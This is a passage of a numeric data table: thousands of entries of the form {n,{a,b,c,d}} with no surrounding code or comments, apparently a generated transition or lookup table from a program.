{1476,{8112,8112,8112,8112}}, {0,{10076,9132,7488,7488}}, {0,{10343,10065,10358,9111}}, {0,{10344,10351,10338,7488}}, {0,{10345,10345,10345,10345}}, {0,{10346,10346,10346,10333}}, {0,{10347,10347,10347,10347}}, {0,{10194,10194,10194,10348}}, {0,{9178,9178,9178,10349}}, {0,{9179,9179,9179,10350}}, {0,{10226,0,7915,0}}, {1477,{10352,10352,10352,10352}}, {0,{10353,10353,10353,7473}}, {0,{10354,10354,10354,10354}}, {0,{7475,7475,7475,10355}}, {0,{4913,4913,4913,10356}}, {0,{4914,4914,4914,10357}}, {0,{10274,0,4910,0}}, {0,{10076,9132,10359,7488}}, {0,{10360,10360,10360,10360}}, {0,{7473,10361,7473,7473}}, {0,{7474,10362,7474,7474}}, {0,{7475,7475,7475,10363}}, {0,{4913,4913,4913,10364}}, {0,{4914,4914,4914,10365}}, {0,{10366,0,4910,0}}, {0,{0,10367,0,0}}, {1478,{0,0,0,0}}, {0,{10330,10065,10341,9111}}, {0,{10370,9697,9697,9697}}, {0,{10371,10389,10390,10395}}, {0,{10372,10385,10388,10388}}, {0,{10373,10373,10373,10373}}, {0,{10374,10384,10384,10384}}, {0,{10375,9692,9692,10383}}, {0,{9678,9678,9678,10376}}, {0,{9679,9679,9679,10377}}, {0,{9680,9680,9680,10378}}, {0,{10379,10379,10379,10221}}, {0,{10380,9682,9682,9682}}, {0,{10381,10381,10381,10381}}, {0,{10207,10382,10207,10207}}, {1479,{10202,10202,10202,10202}}, {1480,{9678,9678,9678,9678}}, {0,{9692,9692,9692,10383}}, {1481,{10386,10386,10386,10386}}, {0,{10387,8185,8185,8185}}, {0,{10324,0,0,8058}}, {0,{10386,10386,10386,10386}}, {1482,{10388,10385,10388,10388}}, {0,{10391,10394,10391,10391}}, {0,{10392,10392,10392,10392}}, {0,{10393,8205,8205,8205}}, {0,{10324,0,0,8206}}, {1483,{10392,10392,10392,10392}}, {0,{10388,10385,10388,10388}}, {0,{10397,10042,10042,10042}}, {0,{10398,10491,10492,10533}}, {0,{10399,10488,10490,10388}}, {0,{10400,10400,10400,10435}}, {0,{10401,10415,10434,10434}}, {0,{10402,9776,9776,10414}}, {0,{9751,9751,9751,10403}}, {0,{9750,9750,9750,10404}}, {0,{9748,9748,9748,10405}}, {0,{10221,10221,10406,10221}}, {0,{10407,9741,9741,9741}}, {0,{10216,10216,10408,10216}}, {0,{10409,10207,10207,10207}}, {0,{10410,10410,10410,10410}}, {0,{10411,10411,10411,10411}}, {0,{10412,10412,10412,10412}}, {0,{9747,9747,10413,9747}}, {1484,{9740,9740,9740,9740}}, {1485,{9751,9751,9751,9751}}, {0,{10416,9776,10428,10414}}, {0,{9751,9751,9751,10417}}, {0,{9750,9750,9750,10418}}, {0,{9748,9748,9748,10419}}, {0,{8256,8256,10420,8256}}, {0,{10421,9741,9741,9741}}, {1486,{8242,8242,10422,8242}}, {0,{10423,8241,8241,8241}}, {0,{10424,10424,10424,10424}}, {0,{10425,10425,10425,10425}}, {0,{10426,10426,10426,10426}}, {0,{10427,9747,9747,9747}}, {1487,{9740,9740,9740,9740}}, {0,{9751,9751,9751,10429}}, {0,{9750,9750,9750,10430}}, {0,{9748,9748,9748,10431}}, {0,{8262,8262,10432,8262}}, {0,{10433,9741,9741,9741}}, {1488,{0,0,9742,0}}, {0,{9776,9776,9776,10414}}, {0,{10436,10458,10487,10487}}, {0,{10437,9933,9933,10457}}, {0,{9878,9878,9878,10438}}, {0,{9877,9877,9877,10439}}, {0,{9874,9874,9874,10440}}, {0,{10441,10221,10449,10221}}, {0,{10442,9834,9834,9834}}, {0,{10443,10443,10443,10216}}, {0,{10444,10207,10207,10207}}, {0,{10202,10202,10202,10445}}, {0,{10203,10203,10203,10446}}, {0,{10204,10204,10204,10447}}, {0,{9840,9840,10448,9840}}, {1489,{9833,9833,9833,9833}}, {0,{10450,9867,9867,9867}}, {0,{10443,10443,10451,10216}}, {0,{10452,10207,10207,10207}}, {0,{10410,10410,10410,10453}}, {0,{10411,10411,10411,10454}}, {0,{10412,10412,10412,10455}}, {0,{9873,9873,10456,9873}}, {1490,{9866,9866,9866,9866}}, {1491,{9878,9878,9878,9878}}, {0,{10459,9933,10479,10457}}, {0,{9878,9878,9878,10460}}, {0,{9877,9877,9877,10461}}, {0,{9874,9874,9874,10462}}, {0,{10463,8256,10471,8256}}, {0,{10464,9834,9834,9834}}, {1492,{10465,10465,10465,8242}}, {0,{10466,8241,8241,8241}}, {0,{8240,8240,8240,10467}}, {0,{8237,8237,8237,10468}}, {0,{8238,8238,8238,10469}}, {0,{10470,9840,9840,9840}}, {1493,{9833,9833,9833,9833}}, {0,{10472,9867,9867,9867}}, {1494,{10465,10465,10473,8242}}, {0,{10474,8241,8241,8241}}, {0,{10424,10424,10424,10475}}, {0,{10425,10425,10425,10476}}, {0,{10426,10426,10426,10477}}, {0,{10478,9873,9873,9873}}, {1495,{9866,9866,9866,9866}}, {0,{9878,9878,9878,10480}}, {0,{9877,9877,9877,10481}}, {0,{9874,9874,9874,10482}}, {0,{10483,8262,10485,8262}}, {0,{10484,9834,9834,9834}}, {1496,{9835,9835,9835,0}}, {0,{10486,9867,9867,9867}}, {1497,{9835,9835,9868,0}}, {0,{9933,9933,9933,10457}}, {1498,{10489,10489,10489,10489}}, {0,{10387,8251,8185,8185}}, {0,{10489,10489,10489,10489}}, {1499,{10490,10488,10490,10388}}, {0,{10493,10524,10490,10388}}, {0,{10494,10494,10494,10494}}, {0,{10495,10506,10523,10523}}, {0,{10496,10022,10022,10505}}, {0,{10012,10012,10012,10497}}, {0,{10011,10011,10011,10498}}, {0,{10008,10008,10008,10499}}, {0,{10500,10221,10504,10221}}, {1500,{10501,10004,10004,10004}}, {0,{10502,10502,10502,10502}}, {0,{10503,10207,10503,10207}}, {1501,{10202,10202,10202,10202}}, {0,{10501,10004,10004,10004}}, {1502,{10012,10012,10012,10012}}, {0,{10507,10022,10516,10505}}, {0,{10012,10012,10012,10508}}, {0,{10011,10011,10011,10509}}, {0,{10008,10008,10008,10510}}, {0,{10511,8256,10515,8256}}, {1503,{10512,10004,10004,10004}}, {1504,{10513,10513,10513,10513}}, {0,{10514,8241,10514,8241}}, {1505,{8240,8240,8240,8240}}, {0,{10512,10004,10004,10004}}, {0,{10012,10012,10012,10517}}, {0,{10011,10011,10011,10518}}, {0,{10008,10008,10008,10519}}, {0,{10520,8262,10522,8262}}, {1506,{10521,10004,10004,10004}}, {1507,{10005,10005,10005,10005}}, {0,{10521,10004,10004,10004}}, {0,{10022,10022,10022,10505}}, {1508,{10525,10525,10525,10525}}, {0,{10526,10532,8336,8336}}, {0,{10527,7345,7345,8324}}, {0,{7346,7346,7346,10528}}, {0,{7347,7347,7347,10529}}, {0,{7348,7348,7348,10530}}, {0,{10531,10221,10221,10221}}, {1509,{10215,0,0,0}}, {0,{8326,7345,8331,8324}}, {0,{10490,10488,10490,10388}}, {0,{10535,10055,10055,10055}}, {0,{10395,10389,10395,10395}}, {0,{10537,10568,10572,10573}}, {0,{10538,10077,10539,10054}}, {0,{9650,9563,9650,9650}}, {0,{10540,10042,10556,10042}}, {1511,{10541,10548,10549,10555}}, {0,{10542,10547,8564,0}}, {0,{10543,10543,10543,10545}}, {0,{10046,10046,10544,10046}}, {0,{10147,9776,10147,9776}}, {0,{10048,10048,10546,10048}}, {0,{10151,9933,10151,9933}}, {1512,{8556,8556,8556,8556}}, {1513,{8564,10547,8564,0}}, {0,{10550,10553,8564,0}}, {0,{10551,10551,10551,10551}}, {0,{10052,10052,10552,10052}}, {0,{10159,10022,10159,10022}}, {1514,{10554,10554,10554,10554}}, {0,{7424,7424,8573,7424}}, {0,{8564,10547,8564,0}}, {1516,{10043,9702,10557,9111}}, {0,{10558,10566,8605,8605}}, {0,{10559,10559,10559,10559}}, {0,{10560,10560,10560,10560}}, {0,{10561,10561,10561,10561}}, {0,{10562,10562,10562,10562}}, {0,{10563,10563,10563,10563}}, {0,{10564,10564,10564,10564}}, {0,{10565,0,10010,0}}, {1518,{10004,10004,10004,10004}}, {1519,{10567,10567,10567,10567}}, {0,{8598,8598,8598,8598}}, {0,{10569,10077,10570,10054}}, {0,{10074,10074,10074,10074}}, {0,{10042,10042,10571,10042}}, {0,{10043,9702,10557,9111}}, {0,{10569,10077,10539,10054}}, {0,{10574,10077,10618,10054}}, {0,{10575,10368,10602,10368}}, {0,{10576,10586,10591,10597}}, {0,{10577,10580,10583,7488}}, {0,{10578,10578,10578,10578}}, {0,{10333,10333,10579,10333}}, {1520,{10334,10334,10334,10334}}, {1521,{10581,10581,10581,10581}}, {0,{7473,7473,10582,7473}}, {1522,{7474,7474,7474,7474}}, {0,{10584,10584,10584,10584}}, {0,{8082,8082,10585,8082}}, {1523,{8083,8083,8083,8083}}, {1524,{10587,10590,10587,7512}}, {0,{10588,10588,10588,10588}}, {0,{7502,7502,10589,7502}}, {1525,{7503,7503,7503,7503}}, {1526,{10588,10588,10588,10588}}, {0,{10592,10593,10596,7488}}, {1527,{10581,10581,10581,10581}}, {1529,{10594,10594,10594,10594}}, {0,{8143,8143,10595,8143}}, {1530,{8141,8141,8141,8141}}, {0,{10581,10581,10581,10581}}, {0,{10598,10601,10598,0}}, {0,{10599,10599,10599,10599}}, {0,{0,0,10600,0}}, {1531,{0,0,0,0}}, {1532,{10599,10599,10599,10599}}, {0,{10603,10065,10341,9111}}, {0,{10604,10615,10338,7488}}, {0,{10332,10605,10332,10332}}, {0,{10333,10606,10333,10333}}, {0,{10334,10334,10607,10334}}, {0,{10194,10194,10194,10608}}, {0,{9178,9178,9178,10609}}, {0,{9179,9179,9179,10610}}, {0,{10611,0,7915,0}}, {0,{10612,9181,9181,9181}}, {0,{10613,0,0,0}}, {0,{10614,8713,0,0}}, {1534,{8712,8712,0,0}}, {1535,{7472,10616,7472,7472}}, {0,{7473,10617,7473,7473}}, {0,{7474,7474,8717,7474}}, {0,{10619,10042,10571,10042}}, {0,{10620,9702,10630,9111}}, {0,{10044,9109,10621,0}}, {0,{10622,10622,10622,10622}}, {0,{10623,10623,0,0}}, {0,{10624,10624,10624,0}}, {0,{0,0,0,10625}}, {0,{0,0,0,10626}}, {0,{0,0,0,10627}}, {0,{10628,10628,0,0}}, {0,{10629,0,10629,0}}, {1536,{0,0,0,0}}, {0,{10050,9116,10621,0}}, {0,{10632,10669,10671,10673}}, {0,{10633,10077,10668,10054}}, {0,{10634,9563,10667,9650}}, {0,{10635,10661,10664,9104}}, {0,{10636,10649,8805,8805}}, {0,{10637,10637,10637,10643}}, {0,{10638,10638,10638,10638}}, {0,{9358,9358,9358,10639}}, {0,{9310,9184,9184,10640}}, {0,{10641,9171,9177,9178}}, {0,{10642,9294,9294,9294}}, {0,{9362,0,8779,0}}, {0,{10644,10644,10644,10644}}, {0,{9393,9393,9393,10645}}, {0,{9310,9184,9184,10646}}, {0,{10647,9171,9177,9178}}, {0,{10648,9380,9380,9380}}, {0,{9397,0,8779,0}}, {1537,{10650,10650,10650,10650}}, {0,{10651,10651,10651,10660}}, {0,{10652,9477,9477,10656}}, {0,{4939,4916,4916,10653}}, {0,{10654,4913,4915,4913}}, {0,{10655,9446,9446,9446}}, {0,{9410,0,4910,0}}, {0,{4939,4916,4916,10657}}, {0,{10658,4913,4915,4913}}, {0,{10659,9446,9446,9446}}, {0,{9481,0,8779,0}}, {0,{9477,9477,9477,10656}}, {1538,{8836,10662,8836,8836}}, {1539,{10663,10663,10663,10663}}, {0,{8830,8830,8830,8822}}, {0,{10665,10666,8859,8859}}, {1540,{8845,8845,8845,8845}}, {1542,{8845,8845,8845,8845}}, {0,{9632,9641,9642,9104}}, {0,{10053,10042,10053,10042}}, {0,{10569,10077,10670,10054}}, {0,{10042,10042,10042,10042}}, {0,{10672,10077,10668,10054}}, {0,{10137,10122,10137,10074}}, {0,{10674,10077,10670,10054}}, {0,{10675,10737,10748,10368}}, {0,{10676,10714,10717,10734}}, {0,{10677,10695,10704,8985}}, {1543,{10678,10678,10678,10678}}, {0,{10679,10679,10679,10688}}, {0,{10680,10680,10680,10680}}, {0,{10194,10194,10194,10681}}, {0,{9178,9178,9178,10682}}, {0,{9179,9179,9179,10683}}, {0,{10684,7914,7915,0}}, {0,{10685,10685,10685,10685}}, {0,{10210,10686,10213,10213}}, {0,{10687,10687,8925,8925}}, {1544,{8924,8924,8924,8924}}, {0,{10689,10689,10689,10689}}, {0,{10194,10194,10194,10690}}, {0,{9178,9178,9178,10691}}, {0,{9179,9179,9179,10692}}, {0,{10693,7914,7915,0}}, {0,{10694,10694,10694,10694}}, {0,{9182,8943,0,0}}, {1546,{10696,10696,10696,10696}}, {0,{10697,10697,10697,8946}}, {0,{10698,10698,10698,10698}}, {0,{7475,7475,7475,10699}}, {0,{4913,4913,4913,10700}}, {0,{4914,4914,4914,10701}}, {0,{10702,7914,4910,0}}, {0,{10703,10703,10703,10703}}, {0,{10263,10686,10263,10213}}, {0,{10705,10705,10705,10705}}, {0,{10706,10706,10706,8936}}, {0,{10707,10707,10707,10707}}, {0,{7475,7475,7475,10708}}, {0,{4913,4913,4913,10709}}, {0,{4914,4914,4914,10710}}, {0,{10711,7914,7915,0}}, {0,{10712,10712,10712,10712}}, {0,{0,8943,0,10713}}, {0,{8965,0,8965,0}}, {1547,{10715,10716,9008,9008}}, {1548,{8997,8997,8997,8997}}, {1550,{8997,8997,8997,8997}}, {0,{10718,10719,10721,9033}}, {1552,{9013,9013,9013,9013}}, {1555,{10720,10720,10720,10720}}, {0,{9017,9017,9017,9017}}, {0,{10722,10722,10722,10722}}, {0,{10723,10723,10723,9014}}, {0,{10724,10724,10724,10724}}, {0,{7475,7475,7475,10725}}, {0,{4913,4913,4913,10726}}, {0,{4914,4914,4914,10727}}, {0,{10728,7914,4910,0}}, {0,{10729,10729,10729,10729}}, {0,{10730,10730,10730,10732}}, {0,{10731,0,10731,0}}, {1556,{0,0,0,0}}, {0,{10733,0,10733,0}}, {1558,{0,0,0,0}}, {0,{10735,10736,0,0}}, {1559,{0,0,0,0}}, {1561,{0,0,0,0}}, {0,{10330,10339,10738,9111}}, {0,{10739,9132,10747,7488}}, {1562,{10740,10740,10740,10740}}, {0,{10741,10741,10741,7473}}, {0,{10742,10742,10742,10742}}, {0,{7475,7475,7475,10743}}, {0,{4913,4913,4913,10744}}, {0,{4914,4914,4914,10745}}, {0,{10746,0,4910,0}}, {1563,{0,0,0,0}}, {0,{10740,10740,10740,10740}}, {0,{10749,10065,10759,9111}}, {0,{10344,10351,10750,7488}}, {0,{10751,10751,10751,10751}}, {0,{10752,10752,10752,8082}}, {0,{10753,10753,10753,10753}}, {0,{7475,7475,7475,10754}}, {0,{4913,4913,4913,10755}}, {0,{4914,4914,4914,10756}}, {0,{10757,0,7915,0}}, {0,{10758,10758,10758,10758}}, {0,{0,0,0,10713}}, {0,{10760,10761,10763,9091}}, {1564,{9058,9058,9058,9058}}, {1566,{10762,10762,10762,10762}}, {0,{9067,9067,9067,9067}}, {0,{10764,10764,10764,10764}}, {0,{10765,10765,10765,9059}}, {0,{10766,10766,10766,10766}}, {0,{7475,7475,7475,10767}}, {0,{4913,4913,4913,10768}}, {0,{4914,4914,4914,10769}}, {0,{10770,0,4910,0}}, {1568,{10758,10758,10758,10758}}, {0,{10772,10669,10669,10803}}, {0,{10773,10077,10774,10054}}, {0,{9650,9650,9650,9650}}, {0,{10042,10042,10042,10775}}, {0,{10043,9702,10776,9111}}, {0,{10050,9116,10777,0}}, {0,{0,10778,0,0}}, {0,{0,0,0,10779}}, {0,{0,0,0,10780}}, {0,{0,0,0,10781}}, {0,{0,10782,0,0}}, {0,{0,0,0,10783}}, {0,{10784,0,10784,0}}, {0,{0,0,0,10785}}, {0,{10786,10786,10786,10786}}, {0,{0,10787,0,0}}, {0,{0,10788,0,0}}, {0,{10789,10789,10789,10789}}, {0,{0,0,0,10790}}, {0,{0,0,0,10791}}, {0,{0,0,0,10792}}, {0,{0,0,0,10793}}, {0,{0,0,0,10794}}, {0,{0,0,0,10795}}, {0,{0,0,10796,0}}, {0,{0,0,0,10797}}, {0,{10798,10798,10798,10798}}, {0,{0,0,0,10799}}, {0,{10800,10800,10800,10800}}, {0,{10801,10801,10801,10801}}, {0,{10802,10802,0,0}}, {1569,{0,0,0,0}}, {0,{10804,10077,10670,10054}}, {0,{10368,10368,10368,10368}}, {0,{10806,11512,11561,11647}}, {0,{10807,10986,11001,11028}}, {0,{10808,10973,10975,10054}}, {0,{10809,10918,10949,10959}}, {0,{10810,9519,10888,10916}}, {0,{10811,10866,10886,9518}}, {0,{10812,10812,10812,5440}}, {0,{10813,10813,10813,10813}}, {0,{10814,10845,10862,10862}}, {0,{4903,4916,4917,10815}}, {0,{10816,4913,4915,4913}}, {0,{10817,10831,10831,10831}}, {0,{10818,0,4931,0}}, {0,{10819,10819,10819,10819}}, {0,{10820,4930,4930,0}}, {0,{10821,4298,4298,4298}}, {0,{4297,10822,4297,4297}}, {0,{10823,10823,10823,10823}}, {0,{10824,10824,10824,10824}}, {0,{10825,10825,10825,10825}}, {0,{10826,10826,10826,10826}}, {0,{0,0,0,10827}}, {0,{0,0,0,10828}}, {0,{0,0,0,10829}}, {0,{10830,0,0,0}}, {0,{9217,9217,9217,9217}}, {0,{10832,0,4910,0}}, {0,{10833,10833,10833,10833}}, {0,{10834,0,0,0}}, {0,{10835,0,0,0}}, {0,{0,10836,0,0}}, {0,{10837,10837,10837,10837}}, {0,{10838,10838,10838,10838}}, {0,{10839,10839,10839,10839}}, {0,{10840,10840,10840,10840}}, {0,{0,0,0,10841}}, {0,{0,0,0,10842}}, {0,{0,0,0,10843}}, {0,{10844,0,0,0}}, {0,{9308,9308,9308,9308}}, {0,{4939,4916,4916,10846}}, {0,{10847,4953,4957,4913}}, {0,{10848,10831,10831,10831}}, {0,{10849,4949,4951,4949}}, {0,{10850,10819,10819,10819}}, {0,{10851,4948,4948,4640}}, {0,{10852,4611,4611,4611}}, {0,{4610,10853,4610,4610}}, {0,{10854,10854,10854,10854}}, {0,{10855,10855,10855,10855}}, {0,{10856,10856,10856,10856}}, {0,{10857,10857,10857,10857}}, {0,{0,0,0,10858}}, {0,{0,0,0,10859}}, {0,{0,0,0,10860}}, {0,{10861,4537,4537,4539}}, {0,{9337,9217,9217,9217}}, {0,{4939,4916,4916,10863}}, {0,{10864,4913,4915,4913}}, {0,{10865,10831,10831,10831}}, {0,{10818,0,4910,0}}, {1570,{10867,10867,10867,10867}}, {0,{10868,10868,10868,5438}}, {0,{10869,5428,5434,5434}}, {0,{4903,4916,4917,10870}}, {0,{10871,4913,4915,4913}}, {0,{10872,4914,4914,4914}}, {0,{10873,0,4931,0}}, {0,{10874,5427,5427,5427}}, {0,{10875,10875,4930,0}}, {0,{10876,10876,4298,4298}}, {0,{10877,10877,10877,10877}}, {0,{10878,10878,10878,10878}}, {0,{10879,10879,10879,10879}}, {0,{10880,4284,4284,4284}}, {0,{4270,4270,4270,10881}}, {0,{0,0,0,10882}}, {0,{0,0,0,10883}}, {0,{0,0,0,10884}}, {0,{10885,0,0,0}}, {0,{5029,4275,4275,4275}}, {0,{10887,10887,10887,10887}}, {0,{5413,5413,5413,5413}}, {0,{10889,10890,10891,9546}}, {1571,{5673,5673,5673,5673}}, {1573,{5673,5673,5673,5673}}, {0,{10892,10892,10892,10892}}, {0,{10893,10893,10893,10893}}, {0,{10894,10905,10912,10912}}, {0,{10895,10895,10899,10902}}, {0,{10896,10896,10898,10896}}, {0,{10897,10897,10897,10897}}, {0,{5720,0,4910,0}}, {1574,{10897,10897,10897,10897}}, {0,{10896,10900,10898,10896}}, {0,{10901,10897,10897,10897}}, {0,{5729,4920,4922,4920}}, {0,{10903,10896,10898,10896}}, {0,{10904,10897,10897,10897}}, {0,{5737,0,4931,0}}, {0,{10895,10895,10895,10906}}, {0,{10907,10909,10911,10896}}, {0,{10908,10897,10897,10897}}, {0,{5746,4949,4951,4949}}, {0,{10910,10897,10897,10897}}, {0,{5755,4949,4956,4949}}, {1575,{10910,10897,10897,10897}}, {0,{10895,10895,10895,10913}}, {0,{10914,10896,10898,10896}}, {0,{10915,10897,10897,10897}}, {0,{5737,0,4910,0}}, {0,{9562,10917,9562,9562}}, {1576,{5807,5807,5807,5807}}, {0,{10919,9626,10941,9104}}, {0,{10920,10940,6049,6061}}, {0,{10921,10921,10921,6062}}, {0,{10922,10922,10922,10922}}, {0,{10923,10923,10923,10923}}, {0,{4939,4916,4916,10924}}, {0,{10925,4913,4915,4913}}, {0,{10926,10831,10831,10831}}, {0,{10927,0,6000,0}}, {0,{10928,10928,10928,10928}}, {0,{10929,5948,5948,5948}}, {0,{10930,5925,5925,5925}}, {0,{5924,10931,5924,5924}}, {0,{10932,10932,10932,10932}}, {0,{10933,10933,10933,10933}}, {0,{10934,10934,10934,10934}}, {0,{10935,10935,10935,10935}}, {0,{0,0,0,10936}}, {0,{0,0,0,10937}}, {0,{0,0,0,10938}}, {0,{10939,0,5873,0}}, {1577,{9308,9308,9308,9308}}, {1578,{6062,6062,6062,6062}}, {0,{9629,9630,10942,6324}}, {0,{10943,10943,10943,10943}}, {0,{10944,10944,10944,10944}}, {0,{10945,10945,10945,10945}}, {0,{10895,10895,10895,10946}}, {0,{10947,10896,10898,10896}}, {0,{10948,10897,10897,10897}}, {0,{6319,0,6000,0}}, {0,{10950,9641,10955,9104}}, {0,{10951,10954,6348,6351}}, {0,{10952,10952,10952,6352}}, {0,{10953,10953,10953,10953}}, {0,{10862,10862,10862,10862}}, {1579,{6352,6352,6352,6352}}, {0,{9643,9644,10956,6380}}, {0,{10957,10957,10957,10957}}, {0,{10958,10958,10958,10958}}, {0,{10912,10912,10912,10912}}, {0,{10960,9641,10968,9104}}, {0,{10961,10967,6408,6412}}, {0,{10962,10962,10962,6413}}, {0,{10963,10963,10963,10963}}, {0,{10964,10964,10964,10964}}, {0,{4939,4916,4916,10965}}, {0,{10966,4913,4915,4913}}, {0,{10831,10831,10831,10831}}, {1580,{6413,6413,6413,6413}}, {0,{9670,9103,10969,6434}}, {0,{10970,10970,10970,10970}}, {0,{10971,10971,10971,10971}}, {0,{10972,10972,10972,10972}}, {0,{10895,10895,10895,10895}}, {0,{10974,10055,10055,10055}}, {0,{9696,9695,9696,9696}}, {0,{10976,10981,10985,10981}}, {1582,{10977,9988,10979,10038}}, {0,{9986,9985,10978,9987}}, {0,{7199,7199,7199,7199}}, {0,{10980,10034,10036,10037}}, {0,{7301,7301,7301,7301}}, {0,{10982,9702,10983,9111}}, {0,{0,9109,7406,0}}, {0,{10984,9116,0,0}}, {0,{7416,7416,7416,7416}}, {1584,{10982,9702,10983,9111}}, {0,{10987,10054,10996,10054}}, {0,{10988,10988,10988,10988}}, {0,{10989,10065,10990,9111}}, {0,{7488,9122,7483,7488}}, {0,{10076,9126,10991,7488}}, {0,{10992,10992,10992,10992}}, {0,{10993,10993,10993,10993}}, {0,{10994,10994,10994,10994}}, {0,{10995,10995,10995,10995}}, {0,{10896,10896,10896,10896}}, {0,{10997,10981,10981,10981}}, {0,{10998,10089,10999,10097}}, {0,{7580,10088,7575,0}}, {0,{11000,10095,7580,0}}, {0,{7587,7587,7587,7587}}, {0,{11002,10054,11023,10054}}, {0,{11003,11013,11003,10988}}, {0,{11004,10110,11005,9111}}, {0,{7649,10109,7641,7649}}, {0,{10139,10140,11006,7649}}, {0,{11007,11007,11007,11007}}, {0,{11008,11008,11008,11008}}, {0,{11009,11009,11009,11009}}, {0,{11010,11010,11010,11010}}, {0,{11011,10896,11011,10896}}, {0,{11012,10897,11012,10897}}, {0,{5720,7630,4910,0}}, {0,{11014,10132,11015,9111}}, {0,{7755,10131,7744,7755}}, {0,{10135,10136,11016,7755}}, {0,{11017,11017,11017,11017}}, {0,{11018,11018,11018,11018}}, {0,{10994,10994,10994,11019}}, {0,{10995,10995,10995,11020}}, {0,{11021,10896,10896,10896}}, {0,{11022,10897,10897,10897}}, {0,{5720,0,7735,0}}, {0,{11024,10981,10985,10981}}, {1586,{11025,10154,11026,10163}}, {0,{7829,10153,7823,0}}, {0,{11027,10161,7829,0}}, {0,{7837,7837,7837,7837}}, {0,{11029,11410,11435,11507}}, {0,{11030,11285,11394,11406}}, {0,{11031,11171,11189,11268}}, {0,{11032,11104,11117,11168}}, {0,{11033,11033,11033,11094}}, {0,{11034,11093,11093,7909}}, {0,{11035,11063,11068,11092}}, {0,{7475,7475,7475,11036}}, {0,{4913,4913,4913,11037}}, {0,{4914,4914,4914,11038}}, {0,{11039,11055,11058,11062}}, {0,{11040,11052,11052,11052}}, {0,{11041,11041,11041,11050}}, {0,{11042,11049,11049,11049}}, {1588,{11043,11043,11043,11043}}, {0,{11044,11044,11044,11044}}, {0,{11045,11045,11045,11045}}, {0,{0,11046,11047,0}}, {1589,{0,0,0,0}}, {0,{0,0,0,11048}}, {1590,{0,0,0,0}}, {0,{11043,11043,11043,11043}}, {0,{11051,11049,11049,11049}}, {1591,{11043,11043,11043,11043}}, {0,{11053,11053,11053,7864}}, {0,{11054,0,0,0}}, {1593,{0,0,0,0}}, {1594,{11056,0,0,0}}, {0,{11057,11057,11057,11057}}, {0,{11049,11049,11049,11049}}, {1595,{11059,7916,7916,7916}}, {0,{11060,11060,11060,11060}}, {0,{11061,11049,11061,11049}}, {1596,{11043,11043,11043,11043}}, {0,{11056,0,0,0}}, {0,{7475,7475,7475,11064}}, {0,{4913,4913,4913,11065}}, {0,{4914,4914,4914,11066}}, {0,{11067,7914,7915,0}}, {0,{11052,11052,11052,11052}}, {0,{7475,7475,7475,11069}}, {0,{4913,4913,4913,11070}}, {0,{4914,4914,4914,11071}}, {0,{11072,11084,11087,11091}}, {0,{11073,11052,11052,11052}}, {0,{11074,11074,11074,11082}}, {0,{11075,11081,11081,11081}}, {1598,{11076,11076,11076,11076}}, {0,{11077,11077,11077,11077}}, {0,{11078,11078,11078,11078}}, {0,{11079,0,0,0}}, {0,{0,0,0,11080}}, {1599,{0,0,0,0}}, {0,{11076,11076,11076,11076}}, {0,{11083,11081,11081,11081}}, {1600,{11076,11076,11076,11076}}, {1601,{11085,0,0,0}}, {0,{11086,11086,11086,11086}}, {0,{11081,11081,11081,11081}}, {1602,{11088,7916,7916,7916}}, {0,{11089,11089,11089,11089}}, {0,{11090,11081,11090,11081}}, {1603,{11076,11076,11076,11076}}, {0,{11085,0,0,0}}, {1604,{7475,7475,7475,11064}}, {0,{11063,11063,11063,11092}}, {0,{11095,7909,7909,7909}}, {0,{11096,7910,11100,7917}}, {0,{7475,7475,7475,11097}}, {0,{4913,4913,4913,11098}}, {0,{4914,4914,4914,11099}}, {0,{11062,11055,11058,11062}}, {0,{7475,7475,7475,11101}}, {0,{4913,4913,4913,11102}}, {0,{4914,4914,4914,11103}}, {0,{11091,11084,11087,11091}}, {1605,{11105,11105,11105,11105}}, {0,{11106,7932,7932,7932}}, {0,{11107,7926,11112,7930}}, {0,{7475,7475,7475,11108}}, {0,{4913,4913,4913,11109}}, {0,{4914,4914,4914,11110}}, {0,{11062,11055,11111,11062}}, {1606,{11056,0,0,0}}, {0,{7475,7475,7475,11113}}, {0,{4913,4913,4913,11114}}, {0,{4914,4914,4914,11115}}, {0,{11091,11084,11116,11091}}, {1607,{11085,0,0,0}}, {0,{11118,11118,11118,11156}}, {0,{11119,7936,7936,7953}}, {0,{11120,7937,11138,7952}}, {0,{7487,7487,7487,11121}}, {0,{5338,5338,5338,11122}}, {0,{5335,5335,5335,11123}}, {0,{11124,11130,11134,11062}}, {0,{11125,7942,7942,7942}}, {0,{11126,11126,11126,11128}}, {0,{11127,11049,11049,11049}}, {1610,{11043,11043,11043,11043}}, {0,{11129,11049,11049,11049}}, {1612,{11043,11043,11043,11043}}, {1613,{11131,5324,5324,5324}}, {0,{11132,11132,11132,11132}}, {0,{11133,11049,11049,11049}}, {1614,{11043,11043,11043,11043}}, {1615,{11135,7949,7949,7949}}, {0,{11136,11136,11136,11136}}, {0,{11137,11049,11061,11049}}, {1617,{11043,11043,11043,11043}}, {0,{7487,7487,7487,11139}}, {0,{5338,5338,5338,11140}}, {0,{5335,5335,5335,11141}}, {0,{11142,11148,11152,11091}}, {0,{11143,7942,7942,7942}}, {0,{11144,11144,11144,11146}}, {0,{11145,11081,11081,11081}}, {1620,{11076,11076,11076,11076}}, {0,{11147,11081,11081,11081}}, {1622,{11076,11076,11076,11076}}, {1623,{11149,5324,5324,5324}}, {0,{11150,11150,11150,11150}}, {0,{11151,11081,11081,11081}}, {1624,{11076,11076,11076,11076}}, {1625,{11153,7949,7949,7949}}, {0,{11154,11154,11154,11154}}, {0,{11155,11081,11090,11081}}, {1627,{11076,11076,11076,11076}}, {0,{11157,7953,7953,7953}}, {0,{11158,7954,11163,7958}}, {0,{7487,7487,7487,11159}}, {0,{5338,5338,5338,11160}}, {0,{5335,5335,5335,11161}}, {0,{11162,11130,11134,11062}}, {0,{11131,5324,5324,5324}}, {0,{7487,7487,7487,11164}}, {0,{5338,5338,5338,11165}}, {0,{5335,5335,5335,11166}}, {0,{11167,11148,11152,11091}}, {0,{11149,5324,5324,5324}}, {0,{11169,11169,11169,11169}}, {0,{11170,7932,7932,7932}}, {0,{11107,7926,7926,7930}}, {1628,{11172,11185,11172,11186}}, {0,{11173,11173,11173,11173}}, {0,{11174,7974,7974,7974}}, {0,{11175,7503,11180,7975}}, {0,{7504,7504,7504,11176}}, {0,{5517,5517,5517,11177}}, {0,{5518,5518,5518,11178}}, {0,{11062,11062,11179,11062}}, {1630,{11056,0,0,0}}, {0,{7504,7504,7504,11181}}, {0,{5517,5517,5517,11182}}, {0,{5518,5518,5518,11183}}, {0,{11091,11091,11184,11091}}, {1632,{11085,0,0,0}}, 